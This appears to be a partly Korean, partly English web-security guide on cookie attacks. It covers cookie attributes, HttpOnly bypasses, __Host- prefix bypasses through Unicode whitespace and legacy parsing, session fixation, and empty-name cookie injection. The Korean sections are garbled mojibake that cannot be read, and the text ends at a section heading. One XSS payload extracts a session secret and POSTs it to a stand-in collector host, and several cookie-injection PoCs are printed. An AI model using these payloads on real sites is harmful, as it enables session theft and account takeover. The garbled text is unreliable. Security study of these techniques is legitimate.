์ฟ ํ‚ค ํ•ดํ‚น

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ฟ ํ‚ค ์†์„ฑ

์ฟ ํ‚ค์—๋Š” ์‚ฌ์šฉ์ž์˜ ๋ธŒ๋ผ์šฐ์ €์—์„œ ๋™์ž‘์„ ์ œ์–ดํ•˜๋Š” ์—ฌ๋Ÿฌ ์†์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ์€ ์ด๋Ÿฌํ•œ ์†์„ฑ๋“ค์— ๋Œ€ํ•œ ์ •๋ฆฌ์ž…๋‹ˆ๋‹ค(์ˆ˜๋™ํ˜• ์„œ์ˆ ๋กœ ์ž‘์„ฑ๋จ):

Expires and Max-Age

์ฟ ํ‚ค์˜ ๋งŒ๋ฃŒ ๋‚ ์งœ๋Š” Expires ์†์„ฑ์œผ๋กœ ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ Max-age ์†์„ฑ์€ ์ฟ ํ‚ค๊ฐ€ ์‚ญ์ œ๋  ๋•Œ๊นŒ์ง€์˜ ์ดˆ ๋‹จ์œ„ ์‹œ๊ฐ„์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. ๋” ํ˜„๋Œ€์ ์ธ ๊ด€ํ–‰์„ ๋ฐ˜์˜ํ•˜๊ธฐ ์œ„ํ•ด Max-age๋ฅผ ๊ถŒ์žฅํ•ฉ๋‹ˆ๋‹ค.

Domain

์ฟ ํ‚ค๋ฅผ ์ˆ˜์‹ ํ•  ํ˜ธ์ŠคํŠธ๋Š” Domain ์†์„ฑ์œผ๋กœ ์ง€์ •๋ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์ด๋Š” ์ฟ ํ‚ค๋ฅผ ๋ฐœ๊ธ‰ํ•œ ํ˜ธ์ŠคํŠธ๋กœ ์„ค์ •๋˜๋ฉฐ ํ•˜์œ„ ๋„๋ฉ”์ธ์€ ํฌํ•จ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ Domain ์†์„ฑ์ด ๋ช…์‹œ์ ์œผ๋กœ ์„ค์ •๋˜๋ฉด ํ•˜์œ„ ๋„๋ฉ”์ธ๋„ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ•˜์œ„ ๋„๋ฉ”์ธ๊ฐ„ ์ฟ ํ‚ค ๊ณต์œ ๊ฐ€ ํ•„์š”ํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ๋œ ์ œํ•œ์ ์ธ ์˜ต์…˜์ด ๋ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Domain=mozilla.org๋กœ ์„ค์ •ํ•˜๋ฉด developer.mozilla.org ๊ฐ™์€ ํ•˜์œ„ ๋„๋ฉ”์ธ์—์„œ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Path

์š”์ฒญ๋œ URL์— ํŠน์ • URL ๊ฒฝ๋กœ๊ฐ€ ํฌํ•จ๋˜์–ด์•ผ Cookie ํ—ค๋”๊ฐ€ ์ „์†ก๋˜๋Š”์ง€๋ฅผ ์ง€์ •ํ•˜๋Š” ์†์„ฑ์ด Path ์ž…๋‹ˆ๋‹ค. ์ด ์†์„ฑ์€ / ๋ฌธ์ž๋ฅผ ๋””๋ ‰ํ„ฐ๋ฆฌ ๊ตฌ๋ถ„์ž๋กœ ๊ฐ„์ฃผํ•˜์—ฌ ํ•˜์œ„ ๋””๋ ‰ํ„ฐ๋ฆฌ์—์„œ๋„ ๋งค์นญ๋˜๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

Ordering Rules

์ด๋ฆ„์ด ๊ฐ™์€ ๋‘ ์ฟ ํ‚ค๊ฐ€ ์žˆ์„ ๋•Œ ์–ด๋–ค ์ฟ ํ‚ค๋ฅผ ์ „์†กํ• ์ง€๋Š” ๋‹ค์Œ์— ๋”ฐ๋ผ ๊ฒฐ์ •๋ฉ๋‹ˆ๋‹ค:

  • ์š”์ฒญ๋œ URL์—์„œ ๊ฐ€์žฅ ๊ธด path์™€ ๋งค์นญ๋˜๋Š” ์ฟ ํ‚ค.
  • ๊ฒฝ๋กœ๊ฐ€ ๋™์ผํ•œ ๊ฒฝ์šฐ ๊ฐ€์žฅ ์ตœ๊ทผ์— ์„ค์ •๋œ ์ฟ ํ‚ค.

SameSite

  • SameSite ์†์„ฑ์€ ํƒ€์‚ฌ ๋„๋ฉ”์ธ์—์„œ ์‹œ์ž‘๋œ ์š”์ฒญ์— ์ฟ ํ‚ค๋ฅผ ๋ณด๋‚ผ์ง€ ์—ฌ๋ถ€๋ฅผ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค. ์„ธ ๊ฐ€์ง€ ์„ค์ •์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:
  • Strict: ํƒ€์‚ฌ ์š”์ฒญ์—์„œ๋Š” ์ฟ ํ‚ค ์ „์†ก์„ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.
  • Lax: ํƒ€์‚ฌ ์›น์‚ฌ์ดํŠธ์—์„œ ์‹œ์ž‘๋œ GET ์š”์ฒญ๊ณผ ํ•จ๊ป˜ ์ฟ ํ‚ค ์ „์†ก์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
  • None: ๋ชจ๋“  ํƒ€์‚ฌ ๋„๋ฉ”์ธ์—์„œ์˜ ์ „์†ก์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฟ ํ‚ค๋ฅผ ๊ตฌ์„ฑํ•  ๋•Œ ์ด๋Ÿฌํ•œ ์†์„ฑ์„ ์ดํ•ดํ•˜๋ฉด ๋‹ค์–‘ํ•œ ์‹œ๋‚˜๋ฆฌ์˜ค์—์„œ ์˜ˆ์ƒ๋Œ€๋กœ ๋™์ž‘ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค.

์š”์ฒญ ์œ ํ˜•์˜ˆ์‹œ ์ฝ”๋“œ์ฟ ํ‚ค ์ „์†ก ์‹œ
Link<a href=โ€œโ€ฆโ€></a>NotSet*, Lax, None
Prerender<link rel=โ€œprerenderโ€ href=โ€œ..โ€/>NotSet*, Lax, None
Form GET<form method=โ€œGETโ€ action=โ€œโ€ฆโ€>NotSet*, Lax, None
Form POST<form method=โ€œPOSTโ€ action=โ€œโ€ฆโ€>NotSet*, None
iframe<iframe src=โ€œโ€ฆโ€></iframe>NotSet*, None
AJAX$.get(โ€œโ€ฆโ€)NotSet*, None
Image<img src=โ€œโ€ฆโ€>NetSet*, None

Table from Invicti and slightly modified.
SameSite ์†์„ฑ์ด ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” ๋กœ๊ทธ์ธ ์„ธ์…˜์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ CSRF ๊ณต๊ฒฉ์„ ์™„ํ™”ํ•ฉ๋‹ˆ๋‹ค.

*์ฃผ์˜: Chrome80 (2019๋…„ 2์›”)๋ถ€ํ„ฐ cookie์— samesite ์†์„ฑ์ด ์—†์„ ๊ฒฝ์šฐ์˜ ๊ธฐ๋ณธ ๋™์ž‘์€ lax์ž…๋‹ˆ๋‹ค (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
์ด ๋ณ€๊ฒฝ์„ ์ ์šฉํ•œ ์ดํ›„ ์ผ์‹œ์ ์œผ๋กœ, Chrome์—์„œ๋Š” SameSite ์ •์ฑ…์ด ์—†๋Š” ์ฟ ํ‚ค๋ฅผ ์ฒซ 2๋ถ„ ๋™์•ˆ์€ None์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๊ณ  ๊ทธ ์ดํ›„์—๋Š” ์ตœ์ƒ์œ„ ๊ต์ฐจ ์‚ฌ์ดํŠธ POST ์š”์ฒญ์— ๋Œ€ํ•ด Lax๋กœ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

์ฟ ํ‚ค ํ”Œ๋ž˜๊ทธ

HttpOnly

์ด ์„ค์ •์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: Javascript์—์„œ document.cookie).

์šฐํšŒ ๋ฐฉ๋ฒ•

  • ํŽ˜์ด์ง€๊ฐ€ ์š”์ฒญ์˜ ์‘๋‹ต์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ(์˜ˆ: PHPinfo ํŽ˜์ด์ง€), XSS๋ฅผ ์•…์šฉํ•˜์—ฌ ํ•ด๋‹น ํŽ˜์ด์ง€๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๊ณ  ์‘๋‹ต์—์„œ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(์˜ˆ์‹œ ์ฐธ์กฐ: https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/).
  • ์„œ๋ฒ„์˜ ์‘๋‹ต์ด ์ „์†ก๋œ ์ฟ ํ‚ค๋ฅผ ๋ฐ˜์‚ฌํ•˜๋Š” ๊ฒฝ์šฐ(ํ•ด๋‹น HTTP ๋ฉ”์„œ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•  ๋•Œ) TRACE HTTP ์š”์ฒญ์œผ๋กœ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•์„ Cross-Site Tracking์ด๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค.
  • ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €๋Š” JS์—์„œ TRACE ์š”์ฒญ ์ „์†ก์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ์œผ๋กœ์จ ์ด ๊ธฐ๋ฒ•์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ํŠน์ • ์†Œํ”„ํŠธ์›จ์–ด์—์„œ๋Š” \r\nTRACE๋ฅผ TRACE ๋Œ€์‹  IE6.0 SP2 ๋“ฑ์— ๋ณด๋‚ด๋Š” ์‹์˜ ์šฐํšŒ๊ฐ€ ๋ฐœ๊ฒฌ๋œ ๋ฐ” ์žˆ์Šต๋‹ˆ๋‹ค.
  • ๋˜ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์€ ๋ธŒ๋ผ์šฐ์ €์˜ zero/day ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.
  • Cookie Jar overflow ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ HttpOnly ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค:

Cookie Jar Overflow

  • Cookie Smuggling ๊ณต๊ฒฉ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์ฟ ํ‚ค๋ฅผ ์œ ์ถœ(exfiltrate)ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์„œ๋ฒ„ ์ธก ์—”๋“œํฌ์ธํŠธ๊ฐ€ HTTP ์‘๋‹ต์—์„œ ์›์‹œ ์„ธ์…˜ ID๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ˜์˜ํ•˜๋Š” ๊ฒฝ์šฐ(์˜ˆ: HTML ์ฃผ์„์ด๋‚˜ ๋””๋ฒ„๊ทธ ๋ธ”๋ก ๋‚ด๋ถ€), XSS gadget์„ ์‚ฌ์šฉํ•ด ํ•ด๋‹น ์—”๋“œํฌ์ธํŠธ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ  ์ •๊ทœ์‹์œผ๋กœ ๋น„๋ฐ€๊ฐ’์„ ์ถ”์ถœํ•œ ๋’ค ์œ ์ถœํ•จ์œผ๋กœ์จ HttpOnly๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ์‹œ XSS ํŽ˜์ด๋กœ๋“œ ํŒจํ„ด:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

์š”์ฒญ์€ ๋ณด์•ˆ ์ฑ„๋„(์ผ๋ฐ˜์ ์œผ๋กœ HTTPS)์„ ํ†ตํ•ด ์ „์†ก๋˜๋Š” ๊ฒฝ์šฐ์—๋งŒ HTTP ์š”์ฒญ์— ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

Cookies Prefixes

__Secure-๋กœ ์ ‘๋‘๋œ ์ฟ ํ‚ค๋Š” HTTPS๋กœ ๋ณดํ˜ธ๋œ ํŽ˜์ด์ง€์—์„œ secure ํ”Œ๋ž˜๊ทธ์™€ ํ•จ๊ป˜ ์„ค์ •๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

__Host-๋กœ ์ ‘๋‘๋œ ์ฟ ํ‚ค์—๋Š” ๋‹ค์Œ ์กฐ๊ฑด๋“ค์ด ์ถฉ์กฑ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • secure ํ”Œ๋ž˜๊ทธ์™€ ํ•จ๊ป˜ ์„ค์ •๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • HTTPS๋กœ ๋ณดํ˜ธ๋œ ํŽ˜์ด์ง€์—์„œ ์œ ๋ž˜ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
  • ๋„๋ฉ”์ธ์„ ์ง€์ •ํ•˜๋Š” ๊ฒƒ์ด ๊ธˆ์ง€๋˜์–ด ์žˆ์œผ๋ฏ€๋กœ ์„œ๋ธŒ๋„๋ฉ”์ธ์œผ๋กœ ์ „์†ก๋˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
  • ์ด ์ฟ ํ‚ค๋“ค์˜ path๋Š” /๋กœ ์„ค์ •๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

__Host-๋กœ ์ ‘๋‘๋œ ์ฟ ํ‚ค๋Š” ์ƒ์œ„ ๋„๋ฉ”์ธ์ด๋‚˜ ์„œ๋ธŒ๋„๋ฉ”์ธ์œผ๋กœ ์ „์†ก๋  ์ˆ˜ ์—†๋‹ค๋Š” ์ ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ œํ•œ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฟ ํ‚ค๋ฅผ ๊ฒฉ๋ฆฌํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋ชจ๋“  ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ฟ ํ‚ค์— __Host- ์ ‘๋‘์‚ฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์€ ๋ณด์•ˆ ๋ฐ ๊ฒฉ๋ฆฌ ํ–ฅ์ƒ์„ ์œ„ํ•œ ์ข‹์€ ๊ด€ํ–‰์œผ๋กœ ๊ฐ„์ฃผ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Overwriting cookies

๋”ฐ๋ผ์„œ __Host- ์ ‘๋‘ ์ฟ ํ‚ค์˜ ๋ณดํ˜ธ ์ค‘ ํ•˜๋‚˜๋Š” ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ํ•ด๋‹น ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ฐ์ง€ ๋ชปํ•˜๊ฒŒ ํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด Cookie Tossing attacks๋ฅผ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ•์—ฐ Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities (paper)์—์„œ๋Š” ํŒŒ์„œ๋ฅผ ์†์—ฌ ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ __HOST- ์ ‘๋‘ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์—ˆ๋˜ ์‚ฌ๋ก€๊ฐ€ ์ œ์‹œ๋˜์—ˆ๋Š”๋ฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ์ด๋ฆ„ ์•ž์ด๋‚˜ ์•ž๋’ค์— โ€œ=โ€œ๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๋ฐฉ์‹ ๋“ฑ์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

๋˜๋Š” PHP์—์„œ๋Š” ์ฟ ํ‚ค ์ด๋ฆ„์˜ ์‹œ์ž‘ ๋ถ€๋ถ„์— ๋‹ค๋ฅธ ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ์–ธ๋”์Šค์ฝ”์–ด๋กœ ๊ต์ฒด๋˜์–ด __HOST- ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค:

์ฟ ํ‚ค ์ด๋ฆ„ ์•ž์— Unicode ๊ณต๋ฐฑ ์ฝ”๋“œ ํฌ์ธํŠธ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ๋ธŒ๋ผ์šฐ์ €์™€ ์„œ๋ฒ„์˜ ํŒŒ์‹ฑ ๋ถˆ์ผ์น˜๋ฅผ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋Š” ์ด๋ฆ„์ด ๋ฌธ์ž ๊ทธ๋Œ€๋กœ __Host-/__Secure-๋กœ ์‹œ์ž‘ํ•œ๋‹ค๊ณ  ๋ณด์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ์„ค์ •์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ฐฑ์—”๋“œ๊ฐ€ ์ฟ ํ‚ค ํ‚ค์˜ ์„ ํ–‰ Unicode ๊ณต๋ฐฑ์„ ํŠธ๋ฆฌ๋ฐ/์ •๊ทœํ™”ํ•˜๋ฉด ๋ณดํ˜ธ๋œ ์ด๋ฆ„์„ ์ธ์‹ํ•˜์—ฌ ๋†’์€ ๊ถŒํ•œ์˜ ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • PoC from a subdomain that can set parent-domain cookies:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • ๋ฌธ์ œ๋ฅผ ์•ผ๊ธฐํ•˜๋Š” ์ผ๋ฐ˜์ ์ธ ๋ฐฑ์—”๋“œ ๋™์ž‘:

  • ์ฟ ํ‚ค ํ‚ค๋ฅผ ์ž˜๋ผ๋‚ด๊ฑฐ๋‚˜ ์ •๊ทœํ™”(trim/normalize)ํ•˜๋Š” ํ”„๋ ˆ์ž„์›Œํฌ. Django์—์„œ๋Š” Python์˜ str.strip()๊ฐ€ ๊ด‘๋ฒ”์œ„ํ•œ ์œ ๋‹ˆ์ฝ”๋“œ ๊ณต๋ฐฑ ์ฝ”๋“œ ํฌ์ธํŠธ๋ฅผ ์ œ๊ฑฐํ•˜์—ฌ ์ด๋ฆ„์ด __Host-name์œผ๋กœ ์ •๊ทœํ™”๋ฉ๋‹ˆ๋‹ค.

  • ์ผ๋ฐ˜์ ์œผ๋กœ ์ž˜๋ ค๋‚˜๊ฐ€๋Š” ์ฝ”๋“œ ํฌ์ธํŠธ์—๋Š” ๋‹ค์Œ์ด ํฌํ•จ๋ฉ๋‹ˆ๋‹ค: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000โ€“U+200A (8192โ€“8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288).

  • ๋งŽ์€ ํ”„๋ ˆ์ž„์›Œํฌ๋Š” ์ค‘๋ณต๋œ ์ฟ ํ‚ค ์ด๋ฆ„์„ โ€œlast winsโ€ ๋ฐฉ์‹์œผ๋กœ ์ฒ˜๋ฆฌํ•˜๋ฏ€๋กœ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ์ •๊ทœํ™”๋œ ์ฟ ํ‚ค ๊ฐ’์ด ์ •๋‹นํ•œ ๊ฐ’์„ ๋ฎ์–ด์”๋‹ˆ๋‹ค.

  • ๋ธŒ๋ผ์šฐ์ €๋ณ„ ์ฐจ์ด๊ฐ€ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค:

  • Safari๋Š” ์ฟ ํ‚ค ์ด๋ฆ„์—์„œ ๋‹ค์ค‘ ๋ฐ”์ดํŠธ ์œ ๋‹ˆ์ฝ”๋“œ ๊ณต๋ฐฑ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: U+2000์„ ๊ฑฐ๋ถ€)์ง€๋งŒ ๋งŽ์€ ๋ฐฑ์—”๋“œ๊ฐ€ ์ œ๊ฑฐํ•˜๋Š” ๋‹จ์ผ ๋ฐ”์ดํŠธ U+0085 ๋ฐ U+00A0์€ ์—ฌ์ „ํžˆ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ธŒ๋ผ์šฐ์ €๋“ค ๊ฐ„์— ๊ต์ฐจ ํ…Œ์ŠคํŠธํ•˜์„ธ์š”.

  • ์˜ํ–ฅ: ์‹ ๋ขฐ๋„๊ฐ€ ๋‚ฎ์€ ์ปจํ…์ŠคํŠธ(์„œ๋ธŒ๋„๋ฉ”์ธ)์—์„œ __Host-/__Secure- ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ฒŒ ๋˜๋ฉฐ, ์ด๋Š” XSS(๋ฐ˜์‚ฌํ˜•์ผ ๊ฒฝ์šฐ), CSRF ํ† ํฐ ๋ฎ์–ด์“ฐ๊ธฐ, session fixation์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • ์ „์†ก ์ค‘(on-the-wire) vs ์„œ๋ฒ„์—์„œ ๋ณธ ๋ณด๊ธฐ ์˜ˆ์‹œ (์ด๋ฆ„์— U+2000 ํฌํ•จ):

Cookie: __Host-name=Real; รขโ‚ฌโ‚ฌ__Host-name=<img src=x onerror=alert(1)>;

๋งŽ์€ ๋ฐฑ์—”๋“œ๋Š” ๋ถ„ํ• /ํŒŒ์‹ฑํ•œ ๋’ค trim์„ ์ ์šฉํ•˜์—ฌ ์ •๊ทœํ™”๋œ __Host-name์ด ๊ณต๊ฒฉ์ž์˜ ๊ฐ’์œผ๋กœ ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

์ผ๋ถ€ Java ์Šคํƒ(์˜ˆ: Tomcat/Jetty-style)์€ Cookie ํ—ค๋”๊ฐ€ $Version=1๋กœ ์‹œ์ž‘ํ•  ๋•Œ ์—ฌ์ „ํžˆ ๊ตฌํ˜• RFC 2109/2965 ํŒŒ์‹ฑ์„ ํ™œ์„ฑํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋กœ ์ธํ•ด ์„œ๋ฒ„๊ฐ€ ๋‹จ์ผ ์ฟ ํ‚ค ๋ฌธ์ž์—ด์„ ์—ฌ๋Ÿฌ ๊ฐœ์˜ ๋…ผ๋ฆฌ์  ์ฟ ํ‚ค๋กœ ์žฌํ•ด์„ํ•˜๊ณ , ์›๋ž˜ ์„œ๋ธŒ๋„๋ฉ”์ธ์—์„œ ์„ค์ •๋˜์—ˆ๊ฑฐ๋‚˜ ์‹ฌ์ง€์–ด ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์ถœ์ฒ˜์—์„œ ์„ค์ •๋œ ์œ„์กฐ๋œ __Host- ํ•ญ๋ชฉ์„ ์ˆ˜์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  • PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • Why it works:

  • Client-side prefix checks apply during set, but server-side legacy parsing later splits and normalizes the header, bypassing the intent of __Host-/__Secure- prefix guarantees.

  • Where to try: Tomcat, Jetty, Undertow, or frameworks that still honor RFC 2109/2965 attributes. Combine with duplicate-name overwrite semantics.

Duplicate-name last-wins overwrite primitive

When two cookies normalize to the same name, many backends (including Django) use the last occurrence. After smuggling/legacy-splitting produces two __Host-* names, the attacker-controlled one will typically win.

Detection and tooling

Use Burp Suite to probe for these conditions:

  • Try multiple leading Unicode whitespace code points: U+2000, U+0085, U+00A0 and observe whether the backend trims and treats the name as prefixed.
  • Send $Version=1 first in the Cookie header and check if the backend performs legacy splitting/normalization.
  • Observe duplicate-name resolution (first vs last wins) by injecting two cookies that normalize to the same name.
  • Burp Custom Action to automate this: CookiePrefixBypass.bambda

Tip: These techniques exploit RFC 6265โ€™s octet-vs-string gap: browsers send bytes; servers decode and may normalize/trim. Mismatches in decoding and normalization are the core of the bypass.

Cookies Attacks

If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.

Decoding and Manipulating Cookies

Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookieโ€™s content and impersonate other users by encoding their modified data back into the cookie.

Session Hijacking

This attack involves stealing a userโ€™s cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.

Session Fixation

In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

Session Donation

Here, the attacker convinces the victim to use the attackerโ€™s session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attackerโ€™s account.

If you found an XSS in a subdomain or you control a subdomain, read:

Cookie Tossing

JWT Cookies

Click on the previous link to access a page explaining possible flaws in JWT.

JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.

Cross-Site Request Forgery (CSRF)

This attack forces a logged-in user to execute unwanted actions on a web application in which theyโ€™re currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.

Empty Cookies

(Check further details in theoriginal research) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

์ „์†ก๋œ cookie header์˜ ๊ฒฐ๊ณผ๋Š” a=v1; test value; b=v2;์ž…๋‹ˆ๋‹ค. ํฅ๋ฏธ๋กญ๊ฒŒ๋„, ์ด๋Š” ์ด๋ฆ„์ด ๋น„์–ด ์žˆ๋Š” cookie๊ฐ€ ์„ค์ •๋˜์–ด ์žˆ์„ ๊ฒฝ์šฐ cookie๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ๋นˆ cookie๋ฅผ ํŠน์ • ๊ฐ’์œผ๋กœ ์„ค์ •ํ•จ์œผ๋กœ์จ ๋‹ค๋ฅธ cookie๋“ค์„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

This leads to the browser sending a cookie header interpreted by every web server as a cookie named a with a value b.

Chrome ๋ฒ„๊ทธ: Unicode Surrogate Codepoint ๋ฌธ์ œ

Chrome์—์„œ๋Š” set cookie์˜ ์ผ๋ถ€๋กœ Unicode surrogate codepoint๊ฐ€ ํฌํ•จ๋˜๋ฉด, document.cookie๊ฐ€ ์†์ƒ๋˜์–ด ์ดํ›„ ๋นˆ ๋ฌธ์ž์—ด์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค:

